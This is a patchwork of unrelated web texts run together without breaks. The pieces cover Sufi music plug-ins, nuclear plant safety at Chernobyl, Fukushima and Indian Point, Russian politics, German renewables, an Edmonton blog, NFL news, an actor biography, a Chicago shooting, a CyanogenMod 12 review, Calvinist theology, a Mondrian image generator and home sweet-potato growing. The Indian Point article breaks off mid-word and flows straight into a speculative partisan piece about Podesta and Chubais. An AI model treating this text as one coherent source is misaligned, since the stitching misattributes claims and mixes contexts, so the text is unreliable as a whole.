More than 15,000 people have downloaded Version 1, and the plug-ins have been used in (at least) dozens of songs. The project hopes to spark discussion — and creation — in the overlap between software design, music tools, encoded spirituality, digital art, and indigenous knowledge systems. Version 2 is currently being developed. SPIs are free to use and modify; you can support the project with a tax-deductible donation. Clayton is available to give talks on Sufi Plug Ins. He has presented them at Harvard University, Share Festival (Beirut), Public Enemy producer Hank Shocklee’s Ableton Meetup (NYC), and they were included in the 2012 Istanbul Design Biennial.
screenshot from clapping drum machine Palmas
Sufi Plug Ins version 1, released in May 2012, is a free suite of seven audio software tools for Ableton Live (Max4Live). They include four software synthesizers hardwired to North African maqam scales with quartertone tuning built-in, a device called DEVOTION which lowers your computer’s volume 5 times a day during call to prayer (presets include Agnostic, Fervent, Devout), and a drone machine.
The devices are clearly labeled in the Berber script of neo-Tifinaght – ⵙⴾⵔⵓ ⵜⴰⵎⵉⵎⵔⴰⵜ. Their mysterious (to non-Amazigh users) yet intuitive layout encourages and rewards experimentation. ‘Roll-over’ infotexts contain fragments of Sufi verse. A series of Sufi Plug Ins Instructional Videos filmed on location in Morocco function as stand-alone art pieces.
screenshot from Maqam synthesizer Bayati
Led by Clayton (aka DJ /rupture), the SPI development team includes programmer Bill Bowen, designer Rosten Woo, Amazigh musician Hassan Wargui, and videographers Maggie Schmitt and Juan Alcón Durán. While the 1st release is for Ableton Live users, we are working on making them available as VSTs to ensure compatibility with Cubase, FruityLoops, and other music software widely used in Africa and the Middle East. For more background on the thoughts behind Sufi Plug Ins, check out this writeup on Clayton’s blog.
screenshot from Drone instructional video
DRONE: Instructional Video
DEVOTION: Instructional VideoIt was a beautiful spring day and, in the control room of the nuclear reactor, the workers decided to deactivate the security system for a systems test. As they started to do so, however, the floor of the reactor began to tremble. Suddenly, its 1,200-ton cover blasted flames into the air. Tons of radioactive radium and graphite shot 1,000 meters into the sky and began drifting to the ground for miles around the nuclear plant. The first firemen to the rescue brought tons of water that would prove useless when it came to dousing the fires. The workers wore no protective clothing and eight of them would die that night—dozens more in the months to follow. This article originally appeared at TomDispatch.com. To stay on top of important articles like these, sign up to receive the latest updates from TomDispatch.com.
It was April 26, 1986, and this was just the start of the meltdown at the Chernobyl nuclear power plant in Ukraine, the worst nuclear accident of its kind in history. Chernobyl is ranked as a “level 7 event,” the maximum danger classification on the International Nuclear and Radiological Event Scale. It would spew out more radioactivity than 100 Hiroshima bombs. Of the 350,000 workers involved in cleanup operations, according to the World Health Organization, 240,000 would be exposed to the highest levels of radiation in a 30-mile zone around the plant. It is uncertain exactly how many cancer deaths have resulted since. The International Atomic Energy Agency’s estimate of the expected death toll from Chernobyl was 4,000. A 2006 Greenpeace report challenged that figure, suggesting that 16,000 people had already died due to the accident and predicting another 140,000 deaths in Ukraine and Belarus still to come. A significant increase in thyroid cancers in children, a very rare disease for them, has been charted in the region—nearly 7,000 cases by 2005 in Belarus, Russia, and Ukraine.
In March 2011, 25 years after the Chernobyl catastrophe, damage caused by a tsunami triggered by a massive 9.0 magnitude earthquake led to the meltdown of three reactors at a nuclear plant in Fukushima, Japan. Radioactive rain from the Fukushima accident fell as far away as Ireland.
In 2008, the International Atomic Energy Agency had, in fact, warned the Japanese government that none of the country’s nuclear power plants could withstand powerful earthquakes. That included the Fukushima plant, which had been built to take only a 7.0 magnitude event. No attention was paid at the time. After the disaster, the plant’s owner, Tokyo Electric Power, rehired Shaw Construction, which had designed and built the plant in the first place, to rebuild it.
Near Misses, Radioactive Leaks, and Flooding
In both Chernobyl and Fukushima, areas around the devastated plants were made uninhabitable for the foreseeable future. In neither place, before disaster began to unfold, was anyone expecting it and few imagined that such a catastrophe was possible. In the United States, too, despite the knowledge since 1945 that nuclear power, at war or in peacetime, holds dangers of a stunning sort, the general attitude remains: it can’t happen here—nowhere more dangerously in recent years than on the banks of New York’s Hudson River, an area that could face a nuclear peril endangering a population of nearly 20 million.
As the Fukushima tragedy struck, President Obama assured Americans that US nuclear plants were closely monitored and built to withstand earthquakes. That statement covered one of the oldest plants in the country, the Indian Point Energy Center (IPEC) in Westchester, New York, first opened in 1962. One of 61 commercial nuclear plants in the country, it has two reactors that generate electricity for homes across New York City and Westchester County. It is located in the sixth most densely populated urban area in the world, the New York metropolitan region, just 30 miles north of Manhattan Island and the planet’s most economically powerful city.
The plant sits astride two seismic faults, which has prompted those opposing its continued operation to call for a detailed analysis of its capacity to resist an earthquake. In addition, a long series of accidents and ongoing hazards has only increased the potential for catastrophe. According to a report by the National Resources Defense Council (NDRC), if a nuclear disaster of a Fukushima magnitude were to strike Indian Point, it would necessitate the evacuation of at least 5.6 million people. In 2003, the existing evacuation plan for the area was deemed inadequate in a report by James Lee Witt, former head of the Federal Emergency Management Agency.
American officials have urged US citizens to stay 50 miles away from the Fukushima plant. Such a 50-mile circle around IPEC would stretch past Kingston in Ulster County to the north, past Bayonne and Jersey City to the south, almost to New Haven, Connecticut, to the east, and into Pennsylvania to the west. It would include all of New York City except for Staten Island and all of Fairfield, Connecticut. “Many scholars have already argued that any evacuation plans shouldn’t be called plans, but rather ‘fantasy documents,’” Daniel Aldrich, a professor of political science at Purdue University, told The New York Times.
Paul Blanch, a nuclear engineer who worked in the industry for 40 years as well as with the Nuclear Regulatory Commission (NRC), thinks a worst-case accident at Indian Point could make the region, including parts of Connecticut, uninhabitable for generations.
According to a report from the Indian Point Safe Energy Coalition, there were 23 reported problems at the plant from its inception to 2005, including steam generator tube rupt |
pro quo involving U.S. tech transfers to Russia was going on, raising significant questions as to whether the U.S. was sold down the river during the Obama administration.
Here's where it gets interesting. Chubais is one of the most reviled men in Russia. He sold billions in state assets to oligarchs and crony capitalists for pennies on the dollar while ordinary Russians got nothing but nightmarish currency devaluation, which destroyed their savings, in Russia's miserable privatization effort from communism back in the 1990s. He's the man who teamed up with Clinton-linked advisers at Harvard and operated so incompetently that they effectively made Russians hate capitalism. As a result, the Russians elected Putin in 1999. Podesta's ties to the Clinton machine's Harvard minions such as Larry Summers amount to ties to Chubais. Note also that Podesta apparently gives well compensated lectures on energy matters to the school. Podesta's links to George Soros also lead to Chubais.
Around the time the WikiLeaks emails were hacked, it's worth noting that Chubais and Putin had been in the throes of a falling out, dating from at least 2013. Putin accused Chubais of being a CIA agent at that time, and in 2015, another Chubais ally, a Rusnano official, was placed under house arrest for embezzlement. In November 2016, Russia's economy minister, still another Chubais ally, was arrested in November. Chubais wrote on his Facebook page that it came as "a shock."
The timeframe of these moves roughly coincides with Podesta's time in the White House and the deterioration of Russian-U.S. relations in the failed "reset." The Democratic players, including Podesta, coincide with Harvard's involvement with Chubais. It's also worth noting that a four low-level officials were arrested in Moscow for the supposed Russian hacking – something that also could have been a strike against Chubais, because if Putin were hacking, why would he arrest his own hacker?
Keep an eye on this Gohmert investigation. What emerges from it may put to pasture the ridiculous narrative Podesta is pushing about Russian hacking. In truth, it may be that he got mixed up with some very gamy characters so bad they've got Putin after them in Moscow.Germany Generated 35% Of Its Electricity From Renewables In First Half Of 2017
July 4th, 2017 by Joshua S Hill
Germany reached a new renewable energy record in the first half of this year, generating 35.1% of its electricity from renewable energy sources, according to the country’s trade body, the German Renewable Energy Federation.
In news published only days into the second half of 2017, the Germany Renewable Energy Federation (BEE) announced that the country had sourced 35.1% of its electricity from renewable energy sources, meeting its 2020 target for “share of gross electricity consumption” well ahead of schedule. Germany’s share of renewable electricity generation in its overall mix has been increasing steadily over the past few years, as shown below, from 30.8% in the first half of 2015, to 32.7% in the first half of 2016.
Unfortunately, even though this record is good news in and of itself, it is offset by slow progress in other sectors. The BEE explained in their press release that the increase in electricity generation is a positive step, but is minimised somewhat by a decline of renewable energy in the transport sector, and minimal growth in the heating sector. “The power generation in Germany is progressing far too slowly,” according to Harald Uphoff, the acting director of BEE.
Onshore wind energy in the first half of 2017 took a major jump over previous years, growing from 34.08 TWh in the first half of 2015, to 34.71 TWh a year later, but jumping to 39.75 TWh in the first half of this year. Offshore wind also jumped, from only 2.15 TWh in the first half of 2015 to 8.48 TWh this year. Solar PV has seen smaller incremental increases, growing from 19.50 TWh in 2015, down to 19.30 TWh in 2016, and 21.74 in the first half of this year.
The gross electricity consumption targets represent simply the amount of renewable energy sources participating in the country’s electricity sector. Germany’s target for gross final energy consumption is 18% for 2020, 30% for 2030, 45% for 2040, and 60% for 2050. According to BEE, Germany may still miss its 2020 target, with the current trajectory seeing the country only reach 16.7% if the issue is not “politically counter-steered and the expansion accelerated.”
This is where the political talk begins to diverge from on-the-ground realities. Germany has been a leader in committing to the Paris Climate Agreement, especially recently in the wake of Donald Trump’s decision to withdraw the United States from the accords. European Union leaders reaffirmed their strong commitment late last month to the Agreement, and recent reports suggest that Germany’s Chancellor Angela Merkel is going to confront Donald Trump at this week’s G20 summit, specifically on his country’s isolationist policies concerning climate change.
Germany also made news earlier last month by signing a joint statement on climate cooperation with California — a reaffirmation of joint ties between the two to continue working together on climate action.
However, more needs to be done on the ground, separate from political moves that don’t always result in real action. Costs need to come down through political support and technological innovation. Germany’s big offshore wind auction held earlier this year yielded record-breaking results — including the first subsidy-free offshore wind projects, thanks to DONG Energy and EnBW. This shows the potential for big renewable energy development, and more needs to be done to open up further auctions and locations.Welcome to my first stop. To the place I currently reside. To the first step on the journey of the rest of my life….
Where the trucks are raised and the wings are cheap (but they don’t taste cheap!) And rodeo season is celebrated all round.
The oil is mined on your doorstep; with the smell of burning fuel and the light of the flames dancing in the sky…I sample it daily, driving up “Refinery Row” on my way to work!
Where you are in the Prairie lands, ten minutes after leaving the most Northerly city in the world! (with a population of over a million that is).
The location of the second biggest mall in the world; which houses a water park, a shooting range, a full size replica of the Santa Maria (complete with lagoon and performing sea lion) and a whole bunch of Albertans who insist on wearing ten gallon hats and top to toe checked flannel garments. I swear I see cowboy boots DAILY. But those special cowboy shops don’t even exist in the mall! It’s a mystery!
In fact, here you can be a professional cowboy! PROFESSIONAL! And I tell you now, that is big freakin bucks!
Home to the Oilers, the Eskimo’s and that’s just the sports teams, not even the pet names for each other!
Wolverine came from a town on our outskirts… look it up, there’s currently a petition to have a statue of him built and showcased in the city!
Here they have festivals all through the summer and snowboard on the cities slopes all through the winter; all 8 months of it!
Welcome my friends, to Oil Country, to the City of Champions. This really is the Texas of the North.. A land rich in oil and honey, with residents embracing every bit of their identity! With their God given right to drive faster than you, in their immense truck, in whatever bloody lane they please! Enjoying poutine and hot sauce and all the many, many beers in between!. This is Edmonton! Alberta, Canada #YEG! and this is the documenting of it by a wee curly red haired lass from little ol’ Scotland 🙂
Hi, I’m Catriona and this is my blog 🙂
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Receiver Jeremy Maclin may still travel to Baltimore on Wednesday, but he won’t be there on Wednesday morning.
Via Vic Carucci of the Buffalo News, Maclin’s visit with the Bills has extended to a second day.
The news first came from running back LeSean McCoy, who posted video of Maclin in the team’s weight room on Wednesday morning with the caption, “Signing players daily.” The video was later taken down, but it could just be a matter of time before we hear that Maclin is a Bill.
A team source separately told Carucci that Maclin has remained in Buffalo overnight.
Cut by the Chiefs on Friday, Maclin officially became a free agent at 4:00 p.m. ET on Monday. He can sign with any team. Prior reports indicated he’d visit the Ravens after visiting the Bills.For the 19th century American politician, see Philip Francis Thomas
Philip Michael Thomas (born May 26, 1949) is an American retired actor and musician. Thomas' most famous role is that of detective Ricardo Tubbs on the hit 1980s TV series Miami Vice. His first notable roles were in Coonskin (1975) and opposite Irene Cara in the 1976 film Sparkle. After his success in Miami Vice, Thomas appeared in numerous made-for-TV movies and advertisements for telephone psychic services. He served as a spokesperson for cell phone entertainment company Nextones, and supplied the voice for the character Lance Vance in the video games Grand Theft Auto: Vice City and Grand Theft Auto: Vice City Stories.
Early life [ edit ]
Thomas was born in Columbus, Ohio, but grew up in San Bernardino, California.[1] His father, Louis Diggs, was a plant foreman at Westinghouse. Thomas's mother was Lulu McMorris. He and his seven half brothers and sisters went by the surname Thomas, which was the last name of his mother's first husband.[2]
As a child, he acted in his church's theater group, and at age 15, while participating in the Pentecostal Delman Heights Four Square Gospel Church choir, became interested in ministry.[2] He graduated from San Bernardino High School in 1967 and briefly took up work as a janitor to save money for college.[1] Thomas earned a scholarship to the predominantly black Oakwood College in Huntsville, Alabama, where he studied religion and philosophy after high school.[2][3]
After two years at Oakwood College, Thomas transferred to the University of California, Riverside.[2] During this time, he auditioned for and won a role in the San Francisco cast of Hair, which began his acting career.[1][4][5] Thomas ultimately quit school to pursue acting as a profession, appearing in several features during the 1970s - including the classic black musical drama, Sparkle (1976). His big break came in 1984, when he landed a starring role in the popular television series, Miami Vice, alongside Don Johnson.[2]
Acting [ edit ]
Miami Vice [ edit ]
Thomas played the role of Ricardo Tubbs, an ex-NYPD police officer from the Bronx who came to Miami seeking revenge on the person who killed his brother Rafael Tubbs. In Miami he encounters another undercover cop, Sonny Crockett, who is coincidentally looking for the same person.
Thomas was reportedly paid $25,000 per episode for Seasons 1-2. In 1986, he was given an increase to $50,000 per episode for Seasons 3-5. Johnson was paid $30,000 per episode for Seasons 1-2 and $90,000 per episode for Seasons 3-5.
Thomas coined the acronym "EGOT", meaning "Emmy, Grammy, Oscar, Tony", in reference to his plans for winning all four.[6] He has not, as yet, been nominated for any of these awards, but has received a People's Choice Award and a Golden Globe nomination.[7]
Psychic Reader's Network [ edit ]
In 1994 Thomas signed an agreement with Florida-based Psychic Reader's Network (later known as Traffix, Inc.) to become the spokesman for the Philip Michael Thomas International Psychic Network. He appeared in television ads and claimed to have met the planet's premier psychics through his "world travels". He dressed similarly to his Miami Vice alter ego, even opening the ads with the phrase, "From Miami Vice to world advice!"[8] He appeared in informercials with Eileen Brennan and Todd McKee and his daughter, Sacha Nicole, to promote the psychic line.[9] Thomas even released a cassette of music tied to his psychic business titled PMT Psychic Connection, Volume I.[10]
Traffix replaced Thomas with Miss Cleo. Thomas sued, alleging breach of contract, and won. In 2002 a New York arbitrator awarded Thomas $1.48 million for improper use of his name and likeness and an additional $780,000 in interest.[11]
Nash Bridges [ edit ]
In 1997, Thomas was reunited with Don Johnson in the police drama Nash Bridges. He played Cedrick "Rick" Hawks, a U.S. Postal Inspector from Miami visiting Bridges (Johnson) in San Francisco. His first appearance was in the episode "Wild Card", and his second and final appearance was in the episode "Out of Miami", aired in 2001 during the program's final season.[12]
Grand Theft Auto: Vice City [ edit ]
He performed a voice-over in Grand Theft Auto: Vice City (2002) (VG) as Lance Vance, a main character who is trying to avenge his brother, Victor Vance's death. He reprised the voice-over role in the prequel Grand Theft Auto: Vice City Stories (2006) (VG) which details Lance's arrival in Vice City, his business with drugs, and his relationship with his brother. After his work on the videogame of 2006 GTA: Vice City Stories Philip decided to retire from acting.
Music career [ edit ]
In 1985, Thomas released a music album titled "Living the Book of My Life" album under his own record label called Spaceship Records.[13] It sold poorly and failed to produce a hit single, although Thomas produced a video for the track "Just the Way I Planned It".[14]
Thomas performed the title song of the album during the 1985 Miami Vice episode, "The Maze." The episode "Trust Fund Pirates" featured another of his songs, "La Mirada". Thomas' Miami Vice costar Don Johnson recorded an album shortly afterward titled Heartbeat.[15] In 1987 Thomas recorded a song called "Ever and forever" with Argentine singer Lucía Galán of Pimpinela fame.[citation needed]
Thomas followed up in 1988 with a second album, Somebody.[16] It also failed to produce a hit and sold poorly. In 1993, Thomas teamed with Kathy Rahill to compose "My, My, My, Miam...I",[17] which was chosen as the city of Miami's theme song.[18] That same year, Thomas teamed with Jamaican fitness instructor Sandi Morais to compose songs for a family-friendly musical titled Sacha, which enjoyed runs in south Florida and New York.[19] The two formed the Magic Cookie Production Company. Thomas produced the music for Morais' fitness videos in 2001 and 2006.[20]
Personal life [ edit ]
Thomas is a vegetarian, nonsmoker and nondrinker.[1][3] In 1986, Thomas married Kassandra Thomas. They have five children together (Noble, Kharisma, Sovereign, Sacred, and Imaj). In 1998, Thomas and Kassandra divorced. Thomas also has six other children (Sacha, Khrishna, India, Gabriel, Chayenne, and Melody) from previous relationships.
Filmography [ edit ]
Films [ edit ]
Video games [ edit ]
Television [ edit ]
See also [ edit ]
EGOT – The acronym "EGOT" was coined by Philip Michael Thomas.[21][22][23]The father of 7-year-old Amari Brown spends a lot of time on Facebook; many of the photos and videos on his page appear to advertise packaged marijuana that is offered for delivery and large quantities of cash - mostly $100 bills.Despite Antonio Brown's 45 arrests and 12 convictions - most for cocaine and heroin crimes - he and his attorney maintain that he was not the intended target when his son was shot and killed.The grade schooler was shot on the Fourth of July by a drive-by shooter at midnight in Humboldt Park.Chicago Police Supt. Garry McCarthy said the boy's father was a ranking gang member and the intended target. McCarthy said Brown should have been in jail on gun charges instead of free on bond, which McCarthy said would have prevented his son's death.Brown and his attorney downplay the gang ties. But his Facebook page, under the name Nephew Booboo, feature what appears to be a thriving marijuana business with coded ads and prices for marijuana and for pills.The site features videos of Brown smoking and dozens of pictures of packages typical of what would be delivered for street sale with a request for delivery information via Facebook mail; $15-25 and the claim "I'm delivering." One crisp photo shows a marijuana cigarette in the works.And judging by all the pictures of money, business has been booming. Wads of money, rolls of large bills, money being counted and a video of Brown doing a cash dance in what is described as his new apartment.Neither Chicago police nor Brown's attorney have responded to the I-Team's questions about this video or these photos.Chicago police and Mayor Rahm Emanuel were highly critical of Brown for not cooperating with investigators about his own son's murder. Brown's attorney Thursday said that he did meet with police for what she called a significant period of time - although police have not verified that.At the beginning of January, the CyanogenMod team started rolling out the official CM12 nightlies for a wide range of devices. CyanogenMod 12 is based on the very latest version of Android — Lollipop — and is the biggest update that the OS has ever received ever since its inception.
With Lollipop, Google has given Android a major visual overhaul leaving no single area untouched. In addition, the OS also comes with many useful features like Smart Lock, lockscreen notifications, Ambient display and more.
Most OEMs are yet to roll out the Lollipop update for their devices, and when they will, the new Material Design introduced by Google will be overshadowed by their own skin. Thus, CyanogenMod 12 is the only way for many to experience the stock goodness of Lollipop.
Update: The full features walkthrough of CyanogenMod 13 based on Android 6.0 Marshmallow can be found here.
Even though the CyanogenMod team is yet to roll out the first Milestone build of CM12, the ROM is stable enough to be used as a daily driver on most devices and contains most, if not all, the features that we loved in CM11. The CM team has also enhanced their existing features by taking advantage of the new APIS introduced by Google in Lollipop.
IN case you are on the edge about installing CM12 on your Android device, below is a feature walkthrough of the ROM to make your decision easier.
First Boot
The first thing that you will notice when you boot CyanogenMod 12 on your device is the new boot animation. The new boot animation is inline with the modern look of Lollipop and CM12. The CM team had first introduced the new boot animation with a white background to keep it inline with how bright Lollipop is. However, thanks to user feedback, it replaced the background with black to avoid temporarily blinding CM12 users when they rebooted their phone in the night.
CyanogenMod 12 also comes with a new setup process that looks very similar to Google’s new setup process in Lollipop. However, CM’s setup process lacks the ability to automatically import your accounts and other data from another Android device over NFC or the ability to restore a cloud backup of the device. This is because these are proprietary features from Google and cannot be replicated by the CyanogenMod’s team.
Home screen
CM12’s home screen looks radically different from CyanogenMod 11’s homescreen. This is mainly because of the UI overhaul that Lollipop brings to the table and has nothing to do with any of the customization done by CyanogenMod team though.
Compared to the Trebuchet launcher in CM11, the stock CM launcher in CM12 does not contain any customization options and even lacks support for gestures and icon packs. While a bummer for many, popular third-party launchers like Apex and Nova, which contain these features and more, have already been updated for Lollipop and can be easily installed from the Google Play Store.
If you will install the Google Apps package, which most users almost always will, the stock launcher from CyanogenMod will be replaced by the Google Experience Launcher (GEL) that offers quick and easy access to Google Now from your homescreen.
Personalisation Options
Compared to CM11, CM12 lacks a lot of personalisation options at the moment, which is a given since it has only been in development for a month. Nevertheless, the ROM still contains many handy features that will be appreciated by power users.
Status bar: Under this sub-menu in the Settings menu, you will find some basic customisation options that mainly relate to the status bar of the device. Below is a list of all the items present here:
Clock Style: Change the status bar clock position to left, right or center.
AM/PM style: Enable or disable AM/PM for the status bar clock.
Battery Status style: Change the stock battery icon to circle, text, switch its position to landscape, or hide it altogether.
Battery percentage: Shows the percentage of battery remaining inside the status bar battery icon or next to it.
Brightness Control: Once enabled, you can control the brightness of your Android device by simply swiping your finger across the status bar from anywhere in the OS.
Show notification count: Displays a small icon along with the number of unread notifications on the top-left corner of the status bar.
Notification drawer: Contains customization options related to the notification drawer. Since Google has completely revamped the notification bar in Android 5.0 Lollipop, some of the notification drawer related features are missing from CM12 and won’t be making their way back as well.
Quick pulldown: Once enabled, pulling the status bar down from the right edge will automatically bring down the Quick Settings instead of only the notification bar.
Show weather: A new option in CM12 that will display the weather condition right above the Quick Settings panel.
Quick Settings panel: Contains customization options related to the Quick Settings panel, including the ability to configure the tiles that will be displayed, toggling the brightness slider on/off, and reducing the size of the first two QS tiles, which are enlarged by default.
Themes: The new Theme engine from CyanogenMod is extremely powerful and allows themes to completely change nearly every aspect of the UI. Applying a theme can change the default system font, the system icons, notification and ringtones, boot animation and more. You will also be able to mix ‘n’ match themes to create a theme that matches your taste.
Since CM12 was just released, most theme developers are still busy in updating their theme to work with the latest version of Android.
Read: Top 5 themes for CyanogenMod 12
System Profiles: Just like the previous versions of CyanogenMod, CM12 also comes with a very handy profile manager. Profiles allow you to quickly change certain system settings depending on your location or any other specified “trigger.”
For example, you can setup an ‘Office’ profile in CM12 that will automatically turn down the notification and ringtone volume, switch off Bluetooth, and turn GPS to Power-saving mode. You can then “trigger” this profile when your device connects to a specific Wi-Fi network or when you touch it against a pre-specified NFC tag.
If used correctly, System profiles is extremely powerful, and is easily among the most underrated feature of CyanogenMod.
Read: Top 10 Tips and Tricks for CyanogenMod 12
Privacy
Compared to stock Android and the UI offerings from other Android OEMs, CyanogenMod lays a great deal of importance on the privacy of their users. No wonder the ROM comes with many handy features that provide users with granular control over their personal data.
Privacy guard: A permission manager that allows you to manage the permissions accessed by all your apps. For example, you can use Privacy guard to prevent the official Facebook app from reading and modifying your contact book, accessing your location, to wake up your phone, which will help in reducing the overall battery drain and performance impact of the app.
Blacklist: By default, stock Android lacks the ability to blacklist/block calls and messages from a particular number. Thankfully, the CyanogenMod team has included a blacklist in their ROM that allows you to blacklist any number by simply adding it to the list. As a bonus, you can specify if you want to only block incoming calls, messages, or both from your stalker or not.
Filter notifications: If your notification bar is always filled with unwanted notifications, you can filter or ignore them from here.
Miscellaneous
Sound & Notification: With Lollipop, Google gave the notification and sound system in Android a major overhaul that is considered by many a major downgrade. Thankfully, CyanogenMod 12 fixes that and provides individual control over Media, Alarm and Ring volumes.
Additionally, you will also be able to link the notification and ringtone volumes, and most importantly, switch your device to a vibrate only mode, which is not possible in Google’s flavour of Lollipop.
Buttons: Depending on your device, CM12 will allow you to customise the navigation buttons on your device. On devices with an on-screen navigation bar, you will be able to customise the layout of the existing buttons as well as add new ones. CM12 also comes with a handy ‘Left-handed mode,’ enabling which will shift the navigation keys to the left side of the display for easier one-handed operation.
On devices with capacitive or hardware navigation buttons, you will be able to customise the long-press actions of the buttons and assign shortcuts to them.
In addition to this, CM12 also comes with an option to wake up your device by simply pressing the Volume keys — a boon for devices whose power button are prone to failure.
Read: How to install CyanogenMod 12 (CM12) on your Android device
Conclusion
In its current state, CyanogenMod 12 lacks a number of advanced features like lockscreen customizations that CM11 users had grown accustomed to. However, it is only a matter of time before the CyanogenMod team ports forward their code, improves it for Lollipop and then adds it back to their ROM.
I also expect the CM team to take advantage of the new APIs in Lollipop to deliver some great new features to users in the coming future.
Read: Download Google Apps (Gapps) for CyanogenMod 12.1, Paranoid Android and other Android 5.1 based custom ROMs
Are you already running CM12 on your Android device? How has your experience been with the latest version of CyanogenMod? Drop in a comment and let us know!
Read: CyanogenMod 12.1 (CM12.1) features walkthrough
Like this post? Share it!A retired Toronto police officer who leaked information about a visit by NDP Leader Jack Layton to a massage clinic in 1996 will not be charged.
Although the unnamed former officer violated a Police Act rule that an officer’s notebooks are property of the police service and its contents cannot be made public, he will face no penalty.
The former officer told Sun Media last week that he and a partner found Layton in a Chinatown massage parlour believed to be a bawdy house 15 years ago, when Layton was a city council member.
The story relied on excerpts from the police officer’s notebook. As there was no evidence Layton was there for anything more than a therapeutic session, no charges were laid.
Layton called the story, published just days before Monday’s federal election as the NDP surged in the polls, a “smear campaign.”
Chief Bill Blair asked the OPP to investigate the officer for a possible breach of trust regarding the disclosure of police information.
“We got on it immediately on Saturday when we got the request from the Toronto police chief,” said OPP Insp. Dave Ross.
“It wasn’t a complex matter. The investigation found there were no grounds to support criminal charges. The notebooks in question were returned to the Toronto Police Service.”
The OPP investigation did find that the anonymous officer had been in possession of his notebooks even though they belong to the police service.
A police source said the officer would likely not have leaked the contents of the notebook had he not been retired, since it would have resulted in Police Act charges.
Police notebooks are supposed to be kept in storage at the division or unit the officer is assigned to so they can be accessed when required, but there is nothing — other than his sworn duty — to stop an officer from photocopying pages or excerpts.Recently I heard of a well-known Calvinist pastor, author, speaker, who, on a podcast, testified that he often goes into his little son’s bedroom after he’s asleep and prays over him that he be among the elect.
While I certainly understand the pastor’s sentiment and desire, I wonder if this is consistent with Calvinist theology? For any of you who are coming here without knowing me, let me assure you I have read a lot of Calvinist literature–from Calvin to John Piper and virtually every well-known Calvinist in between (including Jonathan Edwards, Charles Hodge, Lorraine Boettner, Charles Spurgeon, et al.).
Is it logically consistent for a Calvinist to believe that prayer can play a role (even as a foreordained means to a foreordained end) in bringing it about that a person prayed for be included among the elect?
This seems very different to me from the common Calvinist claim that prayer for the unsaved can be a “foreordained means” to help bring it about that the person, if he or she is elect, comes to repent and believe. (Although I admit having qualms about the logic of that as well!)
According to Calvinism, God elects individuals unconditionally. Salvation itself is not unconditional, so Calvin argued, because it depends on repentance and faith. However, according to Calvin and most Calvinists, an elect person will come to salvation. God will assure it via irresistible grace. But God uses means which he has foreordained to bring it about that the elect repent and believe.
But is it consistent with Calvinism to believe that God uses human means to decide who will be elect? I don’t think so. I do not remember any Calvinist theologian saying so.
If God used means to decide who is among the elect (e.g., prayer), then election would not be strictly unconditional. And it would raise questions such as what kind of prayer, how fervent, etc., can cause God to include someone among the elect. And it would raise serious questions for Calvinism about God’s sovereignty (as defined by Calvinists). It would no longer be absolute.
I think there are Calvinists who simply cannot stomach the implication of Calvinism that a loved one, especially a child, might not be elect, so they revert to inconsistency. Charles Spurgeon, for example, prayed “O God, save all the elect and then elect some more.”
If a Calvinist thinks that his or her prayer for his or her child might affect God to elect the child, why not pray Spurgeon’s prayer–for everyone in general, not just one’s own child?
But how consistent is Spurgeon’s prayer with Calvinist theology of God’s sovereignty? I don’t think it is at all.
Nor is the pastor’s prayer for his child.Introduction
Piet Mondrian was a Dutch painter. His paintings with orthogonal lines and rectangular splashes of primary colors on white backgrounds are very recognizable.
I wondered what it would take to programmatically generate Mondrian-esque images. Here’s what I came up with.
The Algorithm
The algorithm operates on a two-dimensional grid. Initially, the grid is empty (white or 0) with the perimeter filled in (black or 1) as a sentinel border. The black areas indicate where the lines are to be drawn.
Next, the algorithm chooses a random number of times to “split” the grid into regions. I choose a random number between 4 and 16 (inclusive) for this.
For each “split” operation, the algorithm randomly chooses to split vertically or horizontally. Depending on the orientation chosen, a random X or a random Y value is chosen as the partition line.
The algorithm scans the partition line, looking for existing walls. (Shown in circles.) These existing walls are candidate endpoints for the new line segment. (Initially, only the perimeter border is present, so the first partition will span the entire width or height of the grid.) The algorithm randomly chooses two of the points found and draws a new line between those points.
This process repeats until the desired number of split operations have been completed.
Here, three endpoints are available. Two are chosen randomly for the next line.
The algorithm keeps track of prior split operations so that no two splits are too close together. (No splits are allowed in the gray region shown in the image. The amount of padding is configurable.)
After performing all of the splits, the grid looks something like this.
Next, the algorithm locates all of the distinct regions of the grid using flood fills. The algorithm chooses a random number of regions to “fill” with a color. For each fill, it chooses a random color to use - red, blue or yellow.
Finally, the perimeter border is chopped off and we have the final result.
And that’s it - you can have all the procedurally-generated, Mondrian-esque images you want!
Samples
Download
You can download my code here (requires Python and wxPython):
http://www.michaelfogleman.com/static/files/mondrian.zip🔊 Listen to Article
By
A cheap and effective method for producing your own sweet potatoes.
Every day we are faced with new challenges for finding food that is nutritious and sustainably sourced. You may recall the “Clean 15” and the revelation that some produce doesn’t have to be specifically organic in order to be safer for consumption. This categorization includes produce containing little or no pesticides, like pineapples, avocados, grapefruits and onions. But one colorful vegetable takes the crown among potatoes – Sweet potatoes.
Apart from being largely pesticide-free, sweet potatoes have fewer calories than common potatoes and are a source of essential micronutrients like vitamin C and manganese. In addition, sweet potatoes can be adapted to replace traditional potatoes in almost any recipe, and are great for juicing.
This article details an easy way of growing sweet potatoes in your own home so you can cook up delicious and nutrient preparations that will feed a crowd.
Start with the right sweet potatoes: select ones that have already sprouted, which indicates they are pesticide-free and able to reproduce themselves. Create a warm environment: although other tubes are planted outside, sweet potatoes prefer warmer places. They’ve been seen to respond much better to room temperature, so make sure you store them in a place at least 50°F (10°C), and always place them in a well-ventilated place, to avoid fungal growth. Top exposè: once you have a potato (or potatoes) with liberated roots, place inside a 5-gallon bucket of moist soil with almost half of the top (lengthwise) exposed. Refresh with water every now and then to maintain a good level of moisture in the soil. Use a bucket with holes in the bottom for drainage. Hello splits: after a period of approximately 90 days, your sweet potato plant will start shooting out slips. Once they’ve become long enough to be planted (6 to 12 inches) – as shown in the picture – you´ll need to put them in a bigger container, ideally a 20-gallon bucket for each six slips (green shoots).
Perfect time of the year: make sure the last frost of spring has already passed. Remember sweet potatoes prefer warmer weather, so late spring is the perfect time of the year for planting. It’s harvest time!: after a period of 3 to 4 months, harvest the delicious sweet potatoes you’ve grown. The yellowing of the leaves (usually caused by the start of the fall season and the first frost) indicates that your sweet potatoes are ready to be harvested.
Store your bounty in a humid warm place (80°F or 27°C) for two weeks. This helps the sweet potatoes create a layer, which protects them and let you store them in a temperate room for up to an entire year. Baked sweet potatoes with ghee and honey are a wonderful and comforting impromptu meal. Enjoy!
What are your thoughts? Please comment below and share this news!
Top image: http://bit.ly/1HQTxuG
